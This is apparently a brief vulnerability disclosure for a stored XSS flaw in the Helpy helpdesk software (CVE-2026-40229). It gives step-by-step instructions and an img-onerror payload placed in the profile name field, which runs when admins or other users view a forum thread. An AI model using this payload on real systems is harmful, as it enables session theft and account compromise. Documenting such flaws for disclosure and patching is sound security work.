CVE-2026-40229 Helpy存储型XSS漏洞

// Conceptual PoC for CVE-2026-40229 // 1. Log in to Helpy as a regular user. // 2. Navigate to the user profile settings. // 3. Update the 'Name' or 'Username' field with the following payload: const xssPayload = '<img src=x onerror=alert(document.cookie)>'; // 4. Save the profile changes. // 5. Create a new forum post or comment. // 6. When an admin or another user views the thread, the payload executes. console.log('Injecting payload into username field:', xssPayload);